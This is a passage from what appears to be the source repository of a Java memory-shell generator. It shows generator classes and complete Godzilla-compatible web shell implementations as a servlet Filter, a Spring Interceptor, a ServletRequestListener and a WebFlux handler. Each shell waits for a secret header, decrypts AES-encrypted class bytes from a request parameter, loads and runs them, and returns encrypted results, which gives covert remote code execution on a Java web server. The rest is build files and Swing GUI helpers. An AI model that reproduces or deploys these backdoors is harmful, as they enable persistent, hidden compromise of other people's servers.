| ${revision} 8 | 9 | jmg-custom 10 | 11 | 12 | 13 | 14 | jmg 15 | jmg-core 16 | ${revision} 17 | compile 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jmg-custom/src/main/java/jmg/custom/generator/CustomGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.custom.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import jmg.core.config.AbstractConfig; 7 | import jmg.core.generator.IShellGenerator; 8 | import jmg.core.util.CommonUtil; 9 | 10 | import javax.servlet.Filter; 11 | import javax.servlet.ServletRequestListener; 12 | import java.io.DataInputStream; 13 | import java.io.File; 14 | import java.io.FileInputStream; 15 | 16 | public class CustomGenerator implements IShellGenerator { 17 | @Override 18 | public void initShell(AbstractConfig config) { 19 | File f; 20 | try { 21 | f = new File(config.getClassFilePath()); 22 | if (!f.exists() || !f.isFile()) { 23 | return; 24 | } 25 | ClassPool classPool = ClassPool.getDefault(); 26 | classPool.insertClassPath(new ClassClassPath(Filter.class)); 27 | classPool.insertClassPath(new ClassClassPath(ServletRequestListener.class)); 28 | classPool.makeInterface("org.springframework.web.servlet.AsyncHandlerInterceptor"); 29 | classPool.makeInterface("org.springframework.web.servlet.HandlerInterceptor"); 30 | String filePath = config.getClassFilePath(); 31 | CtClass ctClass = classPool.makeClass(new DataInputStream(new FileInputStream(filePath))); 32 | config.setShellClassName(ctClass.getName()); 33 | ctClass.detach(); 34 | } catch (Exception e) { 35 | e.printStackTrace(); 36 | } 37 | } 38 | 39 | @Override 40 | public byte[] makeShell(AbstractConfig config) throws Exception { 41 | initShell(config); 42 | byte[] bytes = CommonUtil.getFileBytes(config.getClassFilePath()); 43 | config.setShellBytes(bytes); 44 | config.setShellBytesLength(bytes.length); 45 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 46 | return bytes; 47 | } 48 | 49 | @Override 50 | public byte[] modifyShell(String className, AbstractConfig config) { 51 | return null; 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /jmg-docs/README_EN.md: -------------------------------------------------------------------------------- 1 | todo -------------------------------------------------------------------------------- /jmg-docs/img/gui.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/su18/java-memshell-generator/b6e34b31e241e24f677f51c4c679c9efb108a496/jmg-docs/img/gui.png -------------------------------------------------------------------------------- /jmg-godzilla/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | ${revision} 8 | 9 | jmg-godzilla 10 | 11 | 12 | 13 | 14 | jmg 15 | jmg-core 16 | ${revision} 17 | compile 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jmg-godzilla/src/main/java/jmg/godzilla/generator/GodzillaGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.godzilla.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.CtClass; 5 | import jmg.godzilla.util.ShellUtil; 6 | import jmg.core.config.AbstractConfig; 7 | import jmg.core.config.Constants; 8 | import jmg.core.generator.IShellGenerator; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | import jmg.core.util.ResponseUtil; 12 | import me.gv7.woodpecker.tools.common.FileUtil; 13 | 14 | public class GodzillaGenerator implements IShellGenerator { 15 | 16 | @Override 17 | public void initShell(AbstractConfig config) { 18 | if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6)); 19 | if (config.getKey() == null) config.setKey(CommonUtil.genRandomLengthString(6)); 20 | } 21 | 22 | @Override 23 | public byte[] makeShell(AbstractConfig config) throws Exception { 24 | initShell(config); 25 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); 26 | String shellClassName = ShellUtil.getShellClassName(shellName); 27 | byte[] bytes = modifyShell(shellClassName, config); 28 | config.setShellBytes(bytes); 29 | config.setShellBytesLength(bytes.length); 30 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 31 | return bytes; 32 | } 33 | 34 | @Override 35 | public byte[] modifyShell(String className, AbstractConfig config) { 36 | byte[] bytes = new byte[0]; 37 | try { 38 | pool.insertClassPath(new ClassClassPath(GodzillaGenerator.class)); 39 | CtClass ctClass = pool.getCtClass(className); 40 | // lambda 表达式 41 | if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) { 42 | ctClass.getClassFile().setVersionToJava5(); 43 | } 44 | JavassistUtil.addStaticFieldIfNotNull(ctClass, "pass", config.getPass()); 45 | JavassistUtil.addStaticFieldIfNotNull(ctClass, "key", CommonUtil.getMd5(config.getKey()).substring(0, 16)); 46 | 47 | if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) { 48 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); 49 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); 50 | } 51 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); 52 | 53 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) { 54 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 55 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 56 | } 57 | 58 | JavassistUtil.removeSourceFileAttribute(ctClass); 59 | bytes = ctClass.toBytecode(); 60 | ctClass.detach(); 61 | } catch (Exception e) { 62 | e.printStackTrace(); 63 | } 64 | return bytes; 65 | } 66 | 67 | } 68 | -------------------------------------------------------------------------------- /jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaFilter.java: -------------------------------------------------------------------------------- 1 | package jmg.godzilla.memshell; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import javax.servlet.*; 6 | import javax.servlet.http.Cookie; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | import javax.servlet.http.HttpSession; 10 | import java.io.ByteArrayOutputStream; 11 | import java.io.IOException; 12 | import java.math.BigInteger; 13 | import java.security.MessageDigest; 14 | import java.util.UUID; 15 | 16 | 17 | public class GodzillaFilter extends ClassLoader implements Filter { 18 | 19 | public static String key; 20 | public static String pass; 21 | public static String md5; 22 | 23 | public String headerName; 24 | 25 | public String headerValue; 26 | 27 | 28 | static { 29 | md5 = md5(pass + key); 30 | } 31 | 32 | public GodzillaFilter() { 33 | } 34 | 35 | public GodzillaFilter(ClassLoader z) { 36 | super(z); 37 | md5 = md5(pass + key); 38 | } 39 | 40 | public Class Q(byte[] cb) { 41 | return super.defineClass(cb, 0, cb.length); 42 | } 43 | 44 | public byte[] x(byte[] s, boolean m) { 45 | try { 46 | 47 | Cipher c = Cipher.getInstance("AES"); 48 | c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); 49 | return c.doFinal(s); 50 | } catch (Exception var4) { 51 | return null; 52 | } 53 | } 54 | 55 | public static String md5(String s) { 56 | String ret = null; 57 | try { 58 | MessageDigest m = MessageDigest.getInstance("MD5"); 59 | m.update(s.getBytes(), 0, s.length()); 60 | ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase(); 61 | } catch (Exception var3) { 62 | } 63 | return ret; 64 | } 65 | 66 | public static String base64Encode(byte[] bs) throws Exception { 67 | String value = null; 68 | Class base64; 69 | try { 70 | base64 = Class.forName("java.util.Base64"); 71 | Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); 72 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); 73 | } catch (Exception var6) { 74 | try { 75 | base64 = Class.forName("sun.misc.BASE64Encoder"); 76 | Object Encoder = base64.newInstance(); 77 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); 78 | } catch (Exception var5) { 79 | } 80 | } 81 | return value; 82 | } 83 | 84 | 85 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { 86 | HttpServletRequest request = (HttpServletRequest) servletRequest; 87 | HttpServletResponse response = (HttpServletResponse) servletResponse; 88 | try { 89 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { 90 | HttpSession session = request.getSession(); 91 | byte[] data = base64Decode(request.getParameter(pass)); 92 | data = this.x(data, false); 93 | if (session.getAttribute("payload") == null) { 94 | session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); 95 | } else { 96 | request.setAttribute("parameters", data); 97 | ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); 98 | Object f; 99 | try { 100 | f = ((Class) session.getAttribute("payload")).newInstance(); 101 | } catch (InstantiationException | IllegalAccessException e) { 102 | throw new RuntimeException(e); 103 | } 104 | f.equals(arrOut); 105 | // 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request); 106 | // f.equals(data); 107 | f.equals(request); 108 | response.getWriter().write(md5.substring(0, 16)); 109 | f.toString(); 110 | response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); 111 | response.getWriter().write(md5.substring(16)); 112 | } 113 | 114 | } else { 115 | chain.doFilter(servletRequest, servletResponse); 116 | } 117 | } catch (Exception e) { 118 | chain.doFilter(servletRequest, servletResponse); 119 | } 120 | 121 | } 122 | 123 | public byte[] base64Decode(String str) throws Exception { 124 | try { 125 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 126 | return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 127 | } catch (Exception var5) { 128 | Class clazz = Class.forName("java.util.Base64"); 129 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 130 | return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 131 | } 132 | } 133 | 134 | public void init(FilterConfig filterConfig) throws ServletException { 135 | } 136 | 137 | public void destroy() { 138 | } 139 | } 140 | -------------------------------------------------------------------------------- /jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaInterceptor.java: -------------------------------------------------------------------------------- 1 | package jmg.godzilla.memshell; 2 | 3 | import org.springframework.web.servlet.AsyncHandlerInterceptor; 4 | 5 | import javax.crypto.Cipher; 6 | import javax.crypto.spec.SecretKeySpec; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | import javax.servlet.http.HttpSession; 10 | import java.io.ByteArrayOutputStream; 11 | import java.math.BigInteger; 12 | import java.security.MessageDigest; 13 | 14 | public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor { 15 | 16 | public static String key; 17 | public static String pass; 18 | public static String md5; 19 | 20 | public String headerName; 21 | 22 | public String headerValue; 23 | 24 | static { 25 | md5 = md5(pass + key); 26 | } 27 | 28 | public GodzillaInterceptor() { 29 | } 30 | 31 | public GodzillaInterceptor(ClassLoader z) { 32 | super(z); 33 | md5 = md5(pass + key); 34 | } 35 | 36 | 37 | public Class Q(byte[] cb) { 38 | return super.defineClass(cb, 0, cb.length); 39 | } 40 | 41 | public byte[] x(byte[] s, boolean m) { 42 | try { 43 | 44 | Cipher c = Cipher.getInstance("AES"); 45 | c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); 46 | return c.doFinal(s); 47 | } catch (Exception var4) { 48 | return null; 49 | } 50 | } 51 | 52 | 53 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 54 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { 55 | HttpSession session = request.getSession(); 56 | byte[] data = b64Decode(request.getParameter(pass)); 57 | data = this.x(data, false); 58 | if (session.getAttribute("payload") == null) { 59 | session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data)); 60 | } else { 61 | request.setAttribute("parameters", data); 62 | ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); 63 | Object f; 64 | try { 65 | f = ((Class) session.getAttribute("payload")).newInstance(); 66 | } catch (InstantiationException | IllegalAccessException e) { 67 | throw new RuntimeException(e); 68 | } 69 | f.equals(arrOut); 70 | // f.equals(data); 71 | f.equals(request); 72 | response.getWriter().write(md5.substring(0, 16)); 73 | f.toString(); 74 | response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); 75 | response.getWriter().write(md5.substring(16)); 76 | } 77 | return false; 78 | } else { 79 | return true; 80 | } 81 | } 82 | 83 | public static String md5(String s) { 84 | String ret = null; 85 | try { 86 | MessageDigest m = MessageDigest.getInstance("MD5"); 87 | m.update(s.getBytes(), 0, s.length()); 88 | ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase(); 89 | } catch (Exception var3) { 90 | } 91 | return ret; 92 | } 93 | 94 | public static String base64Encode(byte[] bs) throws Exception { 95 | String value = null; 96 | Class base64; 97 | try { 98 | base64 = Class.forName("java.util.Base64"); 99 | Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); 100 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); 101 | } catch (Exception var6) { 102 | try { 103 | base64 = Class.forName("sun.misc.BASE64Encoder"); 104 | Object Encoder = base64.newInstance(); 105 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); 106 | } catch (Exception var5) { 107 | } 108 | } 109 | return value; 110 | } 111 | 112 | public static byte[] b64Decode(String bs) throws Exception { 113 | byte[] value = null; 114 | 115 | Class base64; 116 | try { 117 | base64 = Class.forName("java.util.Base64"); 118 | Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); 119 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs)); 120 | } catch (Exception var6) { 121 | try { 122 | base64 = Class.forName("sun.misc.BASE64Decoder"); 123 | Object decoder = base64.newInstance(); 124 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs)); 125 | } catch (Exception var5) { 126 | } 127 | } 128 | 129 | return value; 130 | } 131 | } 132 | 133 | -------------------------------------------------------------------------------- /jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaListener.java: -------------------------------------------------------------------------------- 1 | package jmg.godzilla.memshell; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import javax.servlet.ServletRequestEvent; 6 | import javax.servlet.ServletRequestListener; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | import javax.servlet.http.HttpSession; 10 | import java.io.ByteArrayOutputStream; 11 | import java.lang.reflect.Field; 12 | import java.math.BigInteger; 13 | import java.security.MessageDigest; 14 | 15 | public class GodzillaListener extends ClassLoader implements ServletRequestListener { 16 | public static String key; 17 | public static String pass; 18 | 19 | public String headerName; 20 | 21 | public String headerValue; 22 | static String md5; 23 | public static String cs; 24 | 25 | static { 26 | md5 = md5(pass + key); 27 | cs = "UTF-8"; 28 | } 29 | 30 | public GodzillaListener() { 31 | } 32 | 33 | public GodzillaListener(ClassLoader z) { 34 | super(z); 35 | md5 = md5(pass + key); 36 | cs = "UTF-8"; 37 | } 38 | 39 | public Class Q(byte[] cb) { 40 | return super.defineClass(cb, 0, cb.length); 41 | } 42 | 43 | public byte[] x(byte[] s, boolean m) { 44 | try { 45 | Cipher c = Cipher.getInstance("AES"); 46 | c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); 47 | return c.doFinal(s); 48 | } catch (Exception var4) { 49 | return null; 50 | } 51 | } 52 | 53 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) { 54 | } 55 | 56 | public void requestInitialized(ServletRequestEvent servletRequestEvent) { 57 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); 58 | try { 59 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { 60 | HttpServletResponse response = this.getResponseFromRequest(request); 61 | HttpSession session = request.getSession(); 62 | byte[] data = base64Decode(request.getParameter(pass)); 63 | data = this.x(data, false); 64 | if (session.getAttribute("payload") == null) { 65 | session.setAttribute("payload", (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); 66 | } else { 67 | request.setAttribute("parameters", data); 68 | ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); 69 | Object f = ((Class) session.getAttribute("payload")).newInstance(); 70 | f.equals(arrOut); 71 | // f.equals(data); 72 | f.equals(request); 73 | response.getWriter().write(md5.substring(0, 16)); 74 | f.toString(); 75 | response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); 76 | response.getWriter().write(md5.substring(16)); 77 | // 提交 response、清空缓冲区,防止后续处理流程中 response 被覆盖导致连接失败 78 | response.flushBuffer(); 79 | } 80 | } 81 | } catch (Exception var8) { 82 | } 83 | } 84 | 85 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { 86 | return null; 87 | } 88 | 89 | private static synchronized Object getFV(Object var0, String var1) throws Exception { 90 | Field var2 = null; 91 | Class var3 = var0.getClass(); 92 | 93 | while (var3 != Object.class) { 94 | try { 95 | var2 = var3.getDeclaredField(var1); 96 | break; 97 | } catch (NoSuchFieldException var5) { 98 | var3 = var3.getSuperclass(); 99 | } 100 | } 101 | 102 | if (var2 == null) { 103 | throw new NoSuchFieldException(var1); 104 | } else { 105 | var2.setAccessible(true); 106 | return var2.get(var0); 107 | } 108 | } 109 | 110 | public static String md5(String s) { 111 | String ret = null; 112 | try { 113 | MessageDigest m = MessageDigest.getInstance("MD5"); 114 | m.update(s.getBytes(), 0, s.length()); 115 | ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase(); 116 | } catch (Exception var3) { 117 | } 118 | return ret; 119 | } 120 | 121 | public static String base64Encode(byte[] bs) throws Exception { 122 | String value = null; 123 | Class base64; 124 | try { 125 | base64 = Class.forName("java.util.Base64"); 126 | Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); 127 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); 128 | } catch (Exception var6) { 129 | try { 130 | base64 = Class.forName("sun.misc.BASE64Encoder"); 131 | Object Encoder = base64.newInstance(); 132 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); 133 | } catch (Exception var5) { 134 | } 135 | } 136 | return value; 137 | } 138 | 139 | public static byte[] base64Decode(String bs) { 140 | byte[] value = null; 141 | Class base64; 142 | try { 143 | base64 = Class.forName("java.util.Base64"); 144 | Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); 145 | value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); 146 | } catch (Exception var6) { 147 | try { 148 | base64 = Class.forName("sun.misc.BASE64Decoder"); 149 | Object decoder = base64.newInstance(); 150 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); 151 | } catch (Exception var5) { 152 | } 153 | } 154 | return value; 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaWebFluxHandlerMethod.java: -------------------------------------------------------------------------------- 1 | package jmg.godzilla.memshell; 2 | 3 | import org.springframework.http.HttpStatus; 4 | import org.springframework.http.ResponseEntity; 5 | import org.springframework.web.server.ServerWebExchange; 6 | import reactor.core.publisher.Mono; 7 | 8 | import java.lang.reflect.Method; 9 | import java.net.URL; 10 | import java.net.URLClassLoader; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | public class GodzillaWebFluxHandlerMethod { 15 | public static Map store = new HashMap(); 16 | public static String key; 17 | public static String pass; 18 | public static String md5; 19 | 20 | public GodzillaWebFluxHandlerMethod() { 21 | } 22 | 23 | static { 24 | md5 = md5(pass + key); 25 | } 26 | 27 | 28 | private static Class defineClass(byte[] classbytes) throws Exception { 29 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 30 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 31 | method.setAccessible(true); 32 | return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); 33 | } 34 | 35 | public byte[] x(byte[] s, boolean m) { 36 | try { 37 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 38 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); 39 | return c.doFinal(s); 40 | } catch (Exception e) { 41 | return null; 42 | } 43 | } 44 | 45 | public static String md5(String s) { 46 | String ret = null; 47 | try { 48 | java.security.MessageDigest m; 49 | m = java.security.MessageDigest.getInstance("MD5"); 50 | m.update(s.getBytes(), 0, s.length()); 51 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); 52 | } catch (Exception e) { 53 | } 54 | return ret; 55 | } 56 | 57 | public static String base64Encode(byte[] bs) throws Exception { 58 | Class base64; 59 | String value = null; 60 | try { 61 | base64 = Class.forName("java.util.Base64"); 62 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); 63 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 64 | } catch (Exception e) { 65 | try { 66 | base64 = Class.forName("sun.misc.BASE64Encoder"); 67 | Object Encoder = base64.newInstance(); 68 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 69 | } catch (Exception e2) { 70 | } 71 | } 72 | return value; 73 | } 74 | 75 | public static byte[] base64Decode(String bs) throws Exception { 76 | Class base64; 77 | byte[] value = null; 78 | try { 79 | base64 = Class.forName("java.util.Base64"); 80 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); 81 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 82 | } catch (Exception e) { 83 | try { 84 | base64 = Class.forName("sun.misc.BASE64Decoder"); 85 | Object decoder = base64.newInstance(); 86 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 87 | } catch (Exception e2) { 88 | } 89 | } 90 | return value; 91 | } 92 | 93 | public synchronized ResponseEntity invoke(ServerWebExchange exchange) { 94 | try { 95 | Object bufferStream = exchange.getFormData().flatMap(c -> { 96 | StringBuilder result = new StringBuilder(); 97 | try { 98 | String id = c.getFirst(pass); 99 | byte[] data = x(base64Decode(id), false); 100 | if (store.get("payload") == null) { 101 | store.put("payload", defineClass(data)); 102 | } else { 103 | store.put("parameters", data); 104 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); 105 | Object f = ((Class) store.get("payload")).newInstance(); 106 | f.equals(arrOut); 107 | f.equals(data); 108 | result.append(md5.substring(0, 16)); 109 | f.toString(); 110 | result.append(base64Encode(x(arrOut.toByteArray(), true))); 111 | result.append(md5.substring(16)); 112 | } 113 | } catch (Exception ex) { 114 | result.append(ex.getMessage()); 115 | } 116 | return Mono.just(result.toString()); 117 | }); 118 | return new ResponseEntity(bufferStream, HttpStatus.OK); 119 | } catch (Exception ex) { 120 | return new ResponseEntity(ex.getMessage(), HttpStatus.OK); 121 | } 122 | } 123 | } -------------------------------------------------------------------------------- /jmg-godzilla/src/main/java/jmg/godzilla/util/ShellUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.godzilla.util; 2 | 3 | import jmg.core.config.Constants; 4 | import jmg.godzilla.memshell.GodzillaFilter; 5 | import jmg.godzilla.memshell.GodzillaInterceptor; 6 | import jmg.godzilla.memshell.GodzillaListener; 7 | import jmg.godzilla.memshell.GodzillaWebFluxHandlerMethod; 8 | 9 | import java.util.HashMap; 10 | import java.util.Map; 11 | 12 | public class ShellUtil { 13 | 14 | private static final Map SHELL_CLASSNAME_MAP = new HashMap(); 15 | private static final Map> toolMap = new HashMap(); 16 | 17 | public ShellUtil() { 18 | } 19 | 20 | public static String getShellName(String toolType, String shellType) { 21 | Map shellMap = toolMap.get(toolType); 22 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); 23 | } 24 | 25 | public static String getShellClassName(String shellName) throws Exception { 26 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) { 27 | throw new Exception("Invalid shell type '" + shellName + "'"); 28 | } else { 29 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); 30 | } 31 | } 32 | 33 | static { 34 | SHELL_CLASSNAME_MAP.put(GodzillaFilter.class.getSimpleName(), GodzillaFilter.class.getName()); 35 | SHELL_CLASSNAME_MAP.put(GodzillaListener.class.getSimpleName(), GodzillaListener.class.getName()); 36 | SHELL_CLASSNAME_MAP.put(GodzillaInterceptor.class.getSimpleName(), GodzillaInterceptor.class.getName()); 37 | SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName()); 38 | 39 | Map godzillaMap = new HashMap(); 40 | godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName()); 41 | godzillaMap.put(Constants.SHELL_LISTENER, GodzillaListener.class.getSimpleName()); 42 | godzillaMap.put(Constants.SHELL_INTERCEPTOR, GodzillaInterceptor.class.getSimpleName()); 43 | godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName()); 44 | toolMap.put("Godzilla", godzillaMap); 45 | } 46 | 47 | 48 | } 49 | -------------------------------------------------------------------------------- /jmg-gui/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4 | java-memshell-generator 5 | jmg 6 | ${revision} 7 | 8 | 4.0.0 9 | jmg-gui 10 | 11 | 12 | jmg 13 | jmg-core 14 | ${revision} 15 | compile 16 | 17 | 18 | me.gv7.woodpecker 19 | jexpr-encoder-utils 20 | 0.2.2 21 | 22 | 23 | com.intellij 24 | forms_rt 25 | 7.0.3 26 | 27 | 28 | com.formdev 29 | flatlaf 30 | 3.1 31 | 32 | 33 | jmg 34 | jmg-behinder 35 | ${revision} 36 | compile 37 | 38 | 39 | jmg 40 | jmg-antsword 41 | ${revision} 42 | compile 43 | 44 | 45 | jmg 46 | jmg-godzilla 47 | ${revision} 48 | compile 49 | 50 | 51 | jmg 52 | jmg-suo5 53 | ${revision} 54 | compile 55 | 56 | 57 | jmg 58 | jmg-neoregeorg 59 | ${revision} 60 | compile 61 | 62 | 63 | jmg 64 | jmg-custom 65 | ${revision} 66 | compile 67 | 68 | 69 | 70 | 71 | 72 | 73 | org.apache.maven.plugins 74 | maven-assembly-plugin 75 | 3.6.0 76 | 77 | 78 | jar-with-dependencies 79 | 80 | 81 | 82 | jmg.gui.jMGApp 83 | 84 | 85 | 86 | 87 | 88 | make-assembly 89 | package 90 | 91 | single 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | -------------------------------------------------------------------------------- /jmg-gui/src/main/java/jmg/gui/jMGApp.java: -------------------------------------------------------------------------------- 1 | package jmg.gui; 2 | 3 | import com.formdev.flatlaf.FlatLightLaf; 4 | import jmg.gui.form.jMGForm; 5 | 6 | import javax.swing.*; 7 | 8 | public class jMGApp { 9 | public static void main(String[] args) { 10 | FlatLightLaf.setup(); 11 | SwingUtilities.invokeLater(jMGApp::createAndShowGUI); 12 | } 13 | 14 | private static void createAndShowGUI() { 15 | jMGForm.start(); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /jmg-gui/src/main/java/jmg/gui/util/ComponentUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.gui.util; 2 | 3 | import javax.swing.*; 4 | import javax.swing.event.DocumentEvent; 5 | import javax.swing.event.DocumentListener; 6 | import javax.swing.text.JTextComponent; 7 | import javax.swing.text.SimpleAttributeSet; 8 | import javax.swing.text.StyleConstants; 9 | import java.awt.*; 10 | import java.awt.event.ItemEvent; 11 | import java.awt.event.ItemListener; 12 | import java.util.function.Consumer; 13 | 14 | public class ComponentUtil { 15 | public static DocumentListener createDocumentListener(JTextComponent textField, Consumer updateFunction) { 16 | return new DocumentListener() { 17 | @Override 18 | public void insertUpdate(DocumentEvent e) { 19 | updateText(); 20 | } 21 | 22 | @Override 23 | public void removeUpdate(DocumentEvent e) { 24 | updateText(); 25 | } 26 | 27 | @Override 28 | public void changedUpdate(DocumentEvent e) { 29 | // 文本改变时触发(对于普通文本字段可以忽略) 30 | } 31 | 32 | private void updateText() { 33 | String text = textField.getText(); 34 | if (text.isEmpty()) { 35 | updateFunction.accept(null); 36 | } else { 37 | updateFunction.accept(text); 38 | } 39 | } 40 | }; 41 | } 42 | 43 | /** 44 | * 恢复滚动条位置 45 | * @param scrollPane 46 | */ 47 | public static void restoreScrollPosition(JScrollPane scrollPane) { 48 | try { 49 | // windows 下窗口闪动 50 | scrollPane.setDoubleBuffered(true); 51 | int scrollValue = scrollPane.getVerticalScrollBar().getValue(); 52 | SwingUtilities.invokeLater(() -> { 53 | scrollPane.getVerticalScrollBar().setValue(scrollValue); 54 | }); 55 | } catch (Exception ignored) { 56 | } catch (Throwable e) { 57 | throw new RuntimeException(e); 58 | } 59 | } 60 | 61 | 62 | public static void setTextIfNotEmpty(JTextComponent component, Consumer setter) { 63 | String text = component.getText().trim(); 64 | if (!text.isEmpty()) { 65 | setter.accept(text); 66 | } 67 | } 68 | 69 | public static SimpleAttributeSet createSimpleAttributeSet(Color foregroundColor) { 70 | SimpleAttributeSet attributeSet = new SimpleAttributeSet(); 71 | StyleConstants.setBold(attributeSet, true); 72 | StyleConstants.setItalic(attributeSet, false); 73 | StyleConstants.setForeground(attributeSet, foregroundColor); 74 | return attributeSet; 75 | } 76 | 77 | 78 | } 79 | -------------------------------------------------------------------------------- 